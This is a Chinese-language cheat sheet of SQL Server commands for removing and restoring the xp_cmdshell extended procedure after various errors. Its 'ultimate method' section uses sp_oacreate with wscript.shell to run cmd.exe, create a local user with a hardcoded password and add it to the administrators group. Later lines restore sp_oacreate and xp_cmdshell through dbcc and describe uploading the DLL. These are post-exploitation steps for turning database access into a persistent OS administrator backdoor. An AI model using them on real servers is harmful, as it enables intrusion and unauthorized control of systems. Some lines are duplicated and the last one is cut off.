方法1:查询分离器连接后 第一步执行:use master 第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕 [H1]常见情况恢复执行xp_cmdshell.[/H1] 1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) 恢复方法:查询分离器连接后, 第一步执行:sp_dropextendedproc "xp_cmdshell" 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) 恢复方法:查询分离器连接后, 第一步执行:exec sp_dropextendedproc 'xp_cmdshell' 第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 然后按F5键命令执行完毕 [H1]终极方法.[/H1] 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 查询分离器连接后, 2000servser系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add' xp或2003server系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add' ------------------------------------------------------------------------------------------------------------------------ xp_cmdshell新的恢复办法 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 -------------------------------------------------------------------------------------------------------------------------- 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshell
|